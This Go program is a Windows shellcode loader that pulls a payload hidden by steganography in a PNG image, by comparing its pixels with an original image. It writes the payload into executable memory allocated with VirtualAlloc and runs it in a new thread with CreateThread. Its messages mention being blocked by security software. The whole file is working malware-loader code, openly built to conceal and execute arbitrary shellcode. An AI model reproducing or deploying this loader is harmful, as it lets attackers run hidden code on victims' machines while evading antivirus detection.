package main

import (
	"fmt"
	"image"
	_ "image/png"
	"os"
	"syscall"
	"unsafe"
)

// Windows API 常量
const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

// Windows API 函数声明
var (
	kernel32           = syscall.NewLazyDLL("kernel32.dll")
	virtualAlloc       = kernel32.NewProc("VirtualAlloc")
	virtualProtect     = kernel32.NewProc("VirtualProtect")
	createThread       = kernel32.NewProc("CreateThread")
	waitForSingleObject = kernel32.NewProc("WaitForSingleObject")
)

func main() {
	fmt.Println("🚀 图片隐写Shellcode加载器启动...")
	
	// 1. 从图片中提取shellcode数据
	fmt.Println("正在从图片中提取shellcode数据...")
	
	shellcode, err := extractShellcodeFromImage()
	if err != nil {
		fmt.Printf("❌ 提取shellcode失败: %v\n", err)
		return
	}
	
	if len(shellcode) == 0 {
		fmt.Println("❌ 错误：没有提取到shellcode数据")
		return
	}
	
	fmt.Printf("✅ 成功提取 %d 字节的shellcode数据\n", len(shellcode))
	
	// 显示前几个字节用于验证
	fmt.Printf("前16字节: ")
	for i := 0; i < min(16, len(shellcode)); i++ {
		fmt.Printf("0x%02x ", shellcode[i])
	}
	fmt.Println()
	
	// 2. 分配可执行内存
	fmt.Println("正在分配可执行内存...")
	addr, _, err := virtualAlloc.Call(
		0,
		uintptr(len(shellcode)),
		MEM_COMMIT|MEM_RESERVE,
		PAGE_EXECUTE_READWRITE,
	)
	
	if addr == 0 {
		fmt.Printf("❌ 内存分配失败: %v\n", err)
		return
	}
	
	fmt.Printf("✅ 内存分配成功，地址: 0x%x\n", addr)
	
	// 3. 复制shellcode到分配的内存
	fmt.Println("正在复制shellcode到内存...")
	buffer := (*[0x1FFFFF]byte)(unsafe.Pointer(addr))
	
	for i := 0; i < len(shellcode); i++ {
		buffer[i] = shellcode[i]
	}
	
	fmt.Println("✅ Shellcode复制完成")
	
	// 4. 创建线程执行shellcode
	fmt.Println("正在创建执行线程...")
	thread, _, err := createThread.Call(
		0,
		0,
		addr,
		0,
		0,
		0,
	)
	
	if thread == 0 {
		fmt.Printf("❌ 线程创建失败: %v\n", err)
		fmt.Println("⚠️ 这可能是由于安全软件阻止了shellcode执行")
		fmt.Println("💡 提示：请确保在安全环境中运行此程序")
		return
	}
	
	fmt.Printf("✅ 线程创建成功，句柄: 0x%x\n", thread)
	
	// 5. 等待线程执行完成
	fmt.Println("等待shellcode执行完成...")
	result, _, _ := waitForSingleObject.Call(thread, 10000) // 等待10秒
	
	if result == 0 {
		fmt.Println("✅ Shellcode执行完成")
	} else {
		fmt.Printf("⚠️ Shellcode执行状态: 0x%x (可能被安全软件阻止或超时)\n", result)
	}
	
	fmt.Println("🎯 Shellcode加载器执行完毕")
}

// 从图片中提取shellcode数据
func extractShellcodeFromImage() ([]byte, error) {
	// 1. 读取嵌入数据后的图片
	embeddedImg, err := loadImage("embedded.png")
	if err != nil {
		return nil, fmt.Errorf("读取嵌入图片失败: %v", err)
	}

	// 2. 读取原始图片
	originalImg, err := loadImage("test.png")
	if err != nil {
		return nil, fmt.Errorf("读取原始图片失败: %v", err)
	}

	// 3. 从图片中提取数据
	return extractData(embeddedImg, originalImg)
}

// 加载图片
func loadImage(filename string) (image.Image, error) {
	file, err := os.Open(filename)
	if err != nil {
		return nil, err
	}
	defer file.Close()

	img, _, err := image.Decode(file)
	if err != nil {
		return nil, err
	}

	return img, nil
}

// 从图片中提取数据
func extractData(embeddedImg image.Image, originalImg image.Image) ([]byte, error) {
	bounds := embeddedImg.Bounds()
	width, height := bounds.Max.X, bounds.Max.Y
	
	var extractedData []byte
	pixelCount := 0
	maxPixels := 510
	
	for y := bounds.Min.Y; y < height && pixelCount < maxPixels; y++ {
		for x := bounds.Min.X; x < width && pixelCount < maxPixels; x++ {
			embeddedColor := embeddedImg.At(x, y)
			originalColor := originalImg.At(x, y)
			
			er, eg, _, _ := embeddedColor.RGBA()
			or, _, _, _ := originalColor.RGBA()
			
			// 转换为8位值
			er8 := uint8(er >> 8)
			teg8 := uint8(eg >> 8)
			or8 := uint8(or >> 8)
			
			// 检查是否发生溢出（通过G通道标记）
			if teg8 == 255 {
				// 发生溢出，需要加上256
				extractedValue := int(er8) + 256 - int(or8)
				extractedData = append(extractedData, uint8(extractedValue))
			} else {
				// 没有溢出，直接相减
				extractedValue := int(er8) - int(or8)
				if extractedValue >= 0 {
					extractedData = append(extractedData, uint8(extractedValue))
				}
			}
			
			pixelCount++
		}
	}
	
	return extractedData, nil
}

// 辅助函数：取最小值
func min(a, b int) int {
	if a < b {
		return a
	}
	return b
}